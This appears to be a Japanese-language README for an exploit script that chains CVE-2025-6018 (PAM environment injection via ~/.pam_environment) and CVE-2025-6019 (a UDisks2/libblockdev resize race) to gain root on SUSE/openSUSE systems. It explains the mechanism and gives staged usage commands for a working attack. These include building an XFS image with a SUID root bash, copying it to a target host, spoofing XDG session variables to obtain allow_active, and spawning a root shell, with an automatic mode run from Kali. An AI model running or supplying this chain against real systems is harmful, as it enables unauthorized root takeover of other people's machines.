
Exploit Chain of CVE-2025-6018 to CVE-2025-6019
https://cdn2.qualys.com/2025/06/17/suse15-pam-udisks-lpe.txt
このエクスプロイトは、CVE-2025-6018 と CVE-2025-6019 を連鎖させ、脆弱な SUSE/openSUSE システム上で、一般ユーザーから root へのローカル特権昇格を実現します。CVE-2025-6018 は、pam_env.so(バージョン 1.3.0~1.6.0)における PAM(Pluggable Authentication Modules)環境変数インジェクションの脆弱性であり、ユーザーが OVERRIDE ディレクティブを使用して ~/.pam_environment 経由でセッション環境を改ざんすることを可能にします。XDG セッション変数(XDG_SEAT、XDG_VTNR、XDG_SESSION_TYPE)を操作することで、攻撃者は systemd-logind を騙して allow_active PolicyKit 権限を付与させ、リモート SSH セッションをローカル物理セッションとして認識させることができます。allow_active ステータスを取得すると、CVE-2025-6019 を悪用できます:この脆弱性は UDisks2/libblockdev に存在し、allow_active 権限を持つユーザーが、Filesystem.Resize D-Bus メソッドの競合状態を利用して、特権オプション(exec、suid)付きでファイルシステムをマウントすることを可能にします。ループデバイス上で細工された XFS ファイルシステム(SUID root bash バイナリを含む)に対してリサイズ操作がトリガーされると、libblockdev は自動的にそのファイルシステムをマウントしてリサイズを実行しますが、リサイズエラーが発生したためにマウントを解除できず、/tmp/blockdev*/ に SUID bash がアクセス可能なまま残ります。これを実行することで root シェルを取得できます。
sudo ./ExploitChain.sh stage1 [出力パス]
# デフォルト: ./xfs.image
# 300MB の XFS ファイルシステム(SUID root bash を含む)を作成
scp xfs.image user@<ターゲットIP>:/tmp/
./ExploitChain.sh stage2
# 悪意のある XDG 変数を含む ~/.pam_environment を作成
# PAM 処理をトリガーするためにログアウト後再ログインが必要
logout
ssh user@<ターゲットIP>
# ログイン時に PAM が ~/.pam_environment を処理
# systemd-logind が allow_active ステータスを付与
./ExploitChain.sh stage3 /tmp/xfs.image
# UDisks2 Filesystem.Resize のバグを悪用
# SUID bash を含む XFS イメージをマウント
# root シェルを起動
# Kali 上(root を自動検出し stage1 を実行)
sudo ./Exploit-6018-Chain-6019-v3.sh auto
# ターゲット上(ステージを自動検出し stage2/stage3 を実行)
./ExploitChain.sh auto /tmp/xfs.image
./ExploitChain.sh help